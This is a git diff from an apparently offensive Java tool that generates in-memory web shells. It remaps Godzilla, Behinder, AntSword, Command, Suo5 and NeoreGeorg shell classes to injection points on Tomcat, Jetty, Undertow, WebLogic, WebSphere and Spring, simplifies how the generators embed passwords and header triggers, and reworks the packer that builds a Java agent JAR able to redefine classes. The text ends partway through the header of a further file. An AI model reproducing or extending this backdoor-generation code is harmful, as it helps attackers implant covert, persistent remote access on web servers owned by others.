diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index bb1f06b6..0417c59c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -2,27 +2,11 @@ package com.reajason.javaweb.memshell; import com.reajason.javaweb.memshell.server.*; import com.reajason.javaweb.memshell.shelltool.antsword.*; -import com.reajason.javaweb.memshell.shelltool.antsword.jetty.AntSwordHandlerAdvisor; -import com.reajason.javaweb.memshell.shelltool.antsword.undertow.AntSwordServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.*; -import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdvisor; -import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.command.*; -import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor; -import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor; -import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor; -import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.*; -import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor; -import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor; -import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter; -import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener; -import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet; -import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; -import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Valve; +import com.reajason.javaweb.memshell.shelltool.neoreg.*; +import com.reajason.javaweb.memshell.shelltool.suo5.*; import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerFunction; import com.reajason.javaweb.memshell.springwebflux.command.CommandHandlerMethod; import com.reajason.javaweb.memshell.springwebflux.command.CommandNettyHandler; @@ -34,15 +18,12 @@ import com.reajason.javaweb.memshell.springwebflux.godzilla.GodzillaWebFilter; import com.reajason.javaweb.memshell.springwebflux.suo5.Suo5WebFilter; import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordInterceptor; -import com.reajason.javaweb.memshell.springwebmvc.antsword.AntSwordServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor; -import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor; -import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor; import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler; @@ -163,17 +144,17 @@ public enum Server { .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, GodzillaInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, GodzillaControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, GodzillaControllerHandler.class) - .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, GodzillaServletAdvisor.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Godzilla.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, GodzillaWebFilter.class) .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, GodzillaHandlerMethod.class) .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, GodzillaHandlerFunction.class) .addShellClass(NETTY_HANDLER, GodzillaNettyHandler.class) - .addShellClass(AGENT_FILTER_CHAIN, GodzillaFilterChainAdvisor.class) - .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, GodzillaFilterChainAdvisor.class) - .addShellClass(JETTY_AGENT_HANDLER, GodzillaHandlerAdvisor.class) - .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaServletInitialHandlerAdvisor.class) - .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, GodzillaFilterChainAdvisor.class) - .addShellClass(WAS_AGENT_FILTER_MANAGER, GodzillaFilterChainAdvisor.class) + .addShellClass(AGENT_FILTER_CHAIN, Godzilla.class) + .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Godzilla.class) + .addShellClass(JETTY_AGENT_HANDLER, GodzillaJettyHandler.class) + .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) + .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) + .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) .build()); addToolMapping(ShellTool.Behinder, ToolMapping.builder() @@ -189,13 +170,13 @@ public enum Server { .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, BehinderControllerHandler.class) - .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, BehinderServletAdvisor.class) - .addShellClass(AGENT_FILTER_CHAIN, BehinderFilterChainAdvisor.class) - .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, BehinderFilterChainAdvisor.class) - .addShellClass(JETTY_AGENT_HANDLER, BehinderHandlerAdvisor.class) - .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderServletInitialHandlerAdvisor.class) - .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, BehinderFilterChainAdvisor.class) - .addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Behinder.class) + .addShellClass(AGENT_FILTER_CHAIN, Behinder.class) + .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Behinder.class) + .addShellClass(JETTY_AGENT_HANDLER, BehinderJettyHandler.class) + .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class) + .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class) + .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class) .build()); addToolMapping(ShellTool.AntSword, ToolMapping.builder() @@ -205,13 +186,13 @@ public enum Server { .addShellClass(VALVE, AntSwordValve.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class) - .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class) - .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class) - .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class) - .addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class) - .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class) - .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class) - .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class) + .addShellClass(AGENT_FILTER_CHAIN, AntSword.class) + .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSword.class) + .addShellClass(JETTY_AGENT_HANDLER, AntSwordJettyHandler.class) + .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class) + .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class) + .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class) .build()); addToolMapping(ShellTool.Command, ToolMapping.builder() @@ -229,24 +210,17 @@ public enum Server { .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class) - .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class) - .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Command.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class) .addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class) .addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class) .addShellClass(NETTY_HANDLER, CommandNettyHandler.class) - .addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class) - .addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class) - .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class) - .addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class) - .addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class) - .addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class) - .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class) - .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class) - .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class) - .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class) - .addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class) - .addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class) + .addShellClass(AGENT_FILTER_CHAIN, Command.class) + .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Command.class) + .addShellClass(JETTY_AGENT_HANDLER, CommandJettyHandler.class) + .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) + .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) + .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) .build()); addToolMapping(ShellTool.Suo5, ToolMapping.builder() @@ -262,7 +236,14 @@ public enum Server { .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, Suo5ControllerHandler.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, Suo5.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class) + .addShellClass(AGENT_FILTER_CHAIN, Suo5.class) + .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, Suo5.class) + .addShellClass(JETTY_AGENT_HANDLER, Suo5JettyHandler.class) + .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class) + .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class) + .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class) .build()); addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder() @@ -278,6 +259,13 @@ public enum Server { .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class) .addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class) + .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, NeoreGeorg.class) + .addShellClass(AGENT_FILTER_CHAIN, NeoreGeorg.class) + .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, NeoreGeorg.class) + .addShellClass(JETTY_AGENT_HANDLER, NeoreGeorgJettyHandler.class) + .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class) + .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class) + .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) .build()); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 7fe1f77b..3eb9243b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -19,27 +19,19 @@ public class ShellType { public static final String NETTY_HANDLER = "NettyHandler"; public static final String AGENT = "Agent"; - public static final String ASM = "ASM"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; - public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; - public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM; public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; - public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; - public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; - public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; - public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM; public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor"; public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor"; public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler"; public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet"; - public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM; public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java index faa5a70a..64075adf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/AntSwordGenerator.java @@ -49,20 +49,9 @@ public class AntSwordGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { - builder = builder.visit( - new LdcReAssignVisitorWrapper(new HashMap(3) {{ - put("pass", antSwordConfig.getPass()); - put("headerName", antSwordConfig.getHeaderName()); - put("headerValue", antSwordConfig.getHeaderValue()); - }}) - ); - } else { - builder = builder.field(named("pass")).value(antSwordConfig.getPass()) + return builder.field(named("pass")).value(antSwordConfig.getPass()) .field(named("headerName")).value(antSwordConfig.getHeaderName()) .field(named("headerValue")).value(antSwordConfig.getHeaderValue()); - } - return builder; } public byte[] getBytes() { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java index 45fdd563..4d478cc5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/BehinderGenerator.java @@ -1,11 +1,9 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.ClassBytesShrink; -import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.utils.DigestUtils; @@ -13,8 +11,6 @@ import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import org.apache.commons.lang3.StringUtils; -import java.util.HashMap; - import static net.bytebuddy.matcher.ElementMatchers.named; /** @@ -52,20 +48,9 @@ public class BehinderGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { - builder = builder.visit( - new LdcReAssignVisitorWrapper(new HashMap(3) {{ - put("pass", md5Key); - put("headerName", behinderConfig.getHeaderName()); - put("headerValue", behinderConfig.getHeaderValue()); - }}) - ); - } else { - builder = builder.field(named("pass")).value(md5Key) - .field(named("headerName")).value(behinderConfig.getHeaderName()) - .field(named("headerValue")).value(behinderConfig.getHeaderValue()); - } - return builder; + return builder.field(named("pass")).value(md5Key) + .field(named("headerName")).value(behinderConfig.getHeaderName()) + .field(named("headerValue")).value(behinderConfig.getHeaderValue()); } public byte[] getBytes() { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java index 52fa95f7..7bf5dd6a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/GodzillaGenerator.java @@ -1,11 +1,9 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.ClassBytesShrink; -import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper; import com.reajason.javaweb.buddy.LogRemoveMethodVisitor; import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper; import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.utils.DigestUtils; @@ -13,8 +11,6 @@ import net.bytebuddy.ByteBuddy; import net.bytebuddy.dynamic.DynamicType; import org.apache.commons.lang3.StringUtils; -import java.util.HashMap; - import static net.bytebuddy.matcher.ElementMatchers.named; /** @@ -53,24 +49,11 @@ public class GodzillaGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { - builder = builder.visit( - new LdcReAssignVisitorWrapper(new HashMap(3) {{ - put("pass", godzillaConfig.getPass()); - put("key", md5Key); - put("md5", md5); - put("headerName", godzillaConfig.getHeaderName()); - put("headerValue", godzillaConfig.getHeaderValue()); - }}) - ); - } else { - builder = builder.field(named("pass")).value(godzillaConfig.getPass()) - .field(named("key")).value(md5Key) - .field(named("md5")).value(md5) - .field(named("headerName")).value(godzillaConfig.getHeaderName()) - .field(named("headerValue")).value(godzillaConfig.getHeaderValue()); - } - return builder; + return builder.field(named("pass")).value(godzillaConfig.getPass()) + .field(named("key")).value(md5Key) + .field(named("md5")).value(md5) + .field(named("headerName")).value(godzillaConfig.getHeaderName()) + .field(named("headerValue")).value(godzillaConfig.getHeaderValue()); } public byte[] getBytes() { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/NeoreGeorgGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/NeoreGeorgGenerator.java index b641bdce..09f13919 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/NeoreGeorgGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/NeoreGeorgGenerator.java @@ -42,19 +42,8 @@ public class NeoreGeorgGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { - builder = builder.visit( - new LdcReAssignVisitorWrapper(new HashMap(3) {{ - put("headerName", neoreGeorgConfig.getHeaderName()); - put("headerValue", neoreGeorgConfig.getHeaderValue()); - }}) - ); - } else { - builder = builder - .field(named("headerName")).value(neoreGeorgConfig.getHeaderName()) + return builder.field(named("headerName")).value(neoreGeorgConfig.getHeaderName()) .field(named("headerValue")).value(neoreGeorgConfig.getHeaderValue()); - } - return builder; } public byte[] getBytes() { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java index a04c42b1..a09c8aa4 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/Suo5Generator.java @@ -42,19 +42,9 @@ public class Suo5Generator { builder = LogRemoveMethodVisitor.extend(builder); } - if (shellConfig.getShellType().startsWith(ShellType.AGENT)) { - builder = builder.visit( - new LdcReAssignVisitorWrapper(new HashMap(3) {{ - put("headerName", suo5Config.getHeaderName()); - put("headerValue", suo5Config.getHeaderValue()); - }}) - ); - } else { - builder = builder + return builder .field(named("headerName")).value(suo5Config.getHeaderName()) .field(named("headerValue")).value(suo5Config.getHeaderValue()); - } - return builder; } public byte[] getBytes() { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java index a6b205ad..7d39f2bc 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/generator/command/CommandGenerator.java @@ -52,16 +52,6 @@ public class CommandGenerator { builder = LogRemoveMethodVisitor.extend(builder); } - String shellType = shellConfig.getShellType(); - - if (StringUtils.startsWith(shellType, ShellType.AGENT)) { - builder = builder.visit( - new LdcReAssignVisitorWrapper(new HashMap(1) {{ - put("paramName", commandConfig.getParamName()); - }}) - ); - } - if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) { builder = builder .visit(new AsmVisitorWrapper.ForDeclaredMethods() diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java index c581fb9c..af22b8d9 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java @@ -1,12 +1,10 @@ package com.reajason.javaweb.memshell.packer.jar; import com.reajason.javaweb.asm.ClassRenameUtils; -import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.GenerateResult; -import com.reajason.javaweb.memshell.utils.CommonUtil; import lombok.SneakyThrows; -import net.bytebuddy.ByteBuddy; import org.apache.commons.io.IOUtils; +import org.apache.commons.lang3.StringUtils; import org.objectweb.asm.Opcodes; import java.io.ByteArrayOutputStream; @@ -32,44 +30,34 @@ public class AgentJarPacker implements JarPacker { public byte[] packBytes(GenerateResult generateResult) { Manifest manifest = createManifest(generateResult.getInjectorClassName()); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - - String relocatePrefix = CommonUtil.getRandomPackageName().replace(".", "/") + "/"; - boolean isAsm = generateResult.getShellConfig().getShellType().endsWith(ShellType.ASM); - + String relocatePrefix = "shade/"; try (JarOutputStream targetJar = new JarOutputStream(outputStream, manifest)) { - addDependencies(targetJar, relocatePrefix, isAsm); - addClassesToJar(targetJar, generateResult, relocatePrefix, isAsm); + addDependencies(targetJar, relocatePrefix); + addClassesToJar(targetJar, generateResult, relocatePrefix); } - return outputStream.toByteArray(); } - private Manifest createManifest(String mainClass) { + private Manifest createManifest(String agentClass) { Manifest manifest = new Manifest(); Attributes attributes = manifest.getMainAttributes(); attributes.putValue("Manifest-Version", "1.0"); - attributes.putValue("Agent-Class", mainClass); - attributes.putValue("Premain-Class", mainClass); + attributes.putValue("Agent-Class", agentClass); + attributes.putValue("Premain-Class", agentClass); attributes.putValue("Can-Redefine-Classes", "true"); attributes.putValue("Can-Retransform-Classes", "true"); return manifest; } @SneakyThrows - private void addDependencies(JarOutputStream targetJar, String relocatePrefix, boolean isAsm) { - if (isAsm) { - addDependency(targetJar, Opcodes.class, relocatePrefix); - } else { - addDependency(targetJar, ByteBuddy.class, relocatePrefix); - } + private void addDependencies(JarOutputStream targetJar, String relocatePrefix) { + String baseName = Opcodes.class.getPackage().getName().replace('.', '/'); + addDependency(targetJar, Opcodes.class, baseName, relocatePrefix); } @SneakyThrows - private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, - String relocatePrefix, boolean isAsm) { - String dependencyPackage = isAsm ? - Opcodes.class.getPackage().getName() : ByteBuddy.class.getPackage().getName(); - + private void addClassesToJar(JarOutputStream targetJar, GenerateResult generateResult, String relocatePrefix) { + String dependencyPackage = Opcodes.class.getPackage().getName(); // Add injector class addClassEntry(targetJar, generateResult.getInjectorClassName(), @@ -104,8 +92,7 @@ public class AgentJarPacker implements JarPacker { } @SneakyThrows - public static void addDependency(JarOutputStream targetJar, Class baseClass, String relocatePrefix) { - String packageToMove = baseClass.getPackage().getName().replace('.', '/'); + public static void addDependency(JarOutputStream targetJar, Class baseClass, String baseName, String relocatePrefix) { URL sourceUrl = baseClass.getProtectionDomain().getCodeSource().getLocation(); String sourceUrlString = sourceUrl.toString(); if (sourceUrlString.contains("!BOOT-INF")) { @@ -120,28 +107,36 @@ public class AgentJarPacker implements JarPacker { } sourceUrl = tempBootPath.resolve(internalJarPath).toUri().toURL(); } - JarFile sourceJar = new JarFile(new File(sourceUrl.toURI())); - Enumeration entries = sourceJar.entries(); - while (entries.hasMoreElements()) { - JarEntry entry = entries.nextElement(); - String entryName = entry.getName(); - if (entryName.startsWith(packageToMove)) { - InputStream entryStream = sourceJar.getInputStream(entry); - byte[] bytes = IOUtils.toByteArray(entryStream); - if (entryName.endsWith(".class")) { - targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName)); - if (bytes.length > 0) { - bytes = ClassRenameUtils.relocateClass(bytes, packageToMove, relocatePrefix + packageToMove); + try (JarFile sourceJar = new JarFile(new File(sourceUrl.toURI()))) { + Enumeration entries = sourceJar.entries(); + while (entries.hasMoreElements()) { + JarEntry entry = entries.nextElement(); + String entryName = entry.getName(); + if (entryName.equals("META-INF/MANIFEST.MF") + || entryName.contains("module-info.class")) { + continue; + } + if (!entry.isDirectory()) { + try (InputStream entryStream = sourceJar.getInputStream(entry)) { + byte[] bytes = IOUtils.toByteArray(entryStream); + if (StringUtils.isNoneEmpty(relocatePrefix)) { + targetJar.putNextEntry(new JarEntry(relocatePrefix + entryName)); + if (entryName.endsWith(".class")) { + if (bytes.length > 0) { + bytes = ClassRenameUtils.relocateClass(bytes, baseName, relocatePrefix + baseName); + } + } else { + targetJar.putNextEntry(entry); + } + } else { + targetJar.putNextEntry(entry); + } + targetJar.write(bytes); } - } else { - targetJar.putNextEntry(entry); } - targetJar.write(bytes); targetJar.closeEntry(); - entryStream.close(); } } - sourceJar.close(); } /** diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java index 9755da11..19a3602a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/ApusicShell.java @@ -1,5 +1,6 @@ package com.reajason.javaweb.memshell.server; +import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.apusic.ApusicFilterInjector; import com.reajason.javaweb.memshell.injector.apusic.ApusicListenerInjector; import com.reajason.javaweb.memshell.injector.apusic.ApusicServletInjector; @@ -33,6 +34,7 @@ public class ApusicShell extends AbstractShell { .addInjector(LISTENER, ApusicListenerInjector.class) .addInjector(FILTER, ApusicFilterInjector.class) .addInjector(SERVLET, ApusicServletInjector.class) + .addInjector(AGENT_FILTER_CHAIN, ApusicFilterChainAgentInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java index c42537a5..873333a1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/BesShell.java +++ 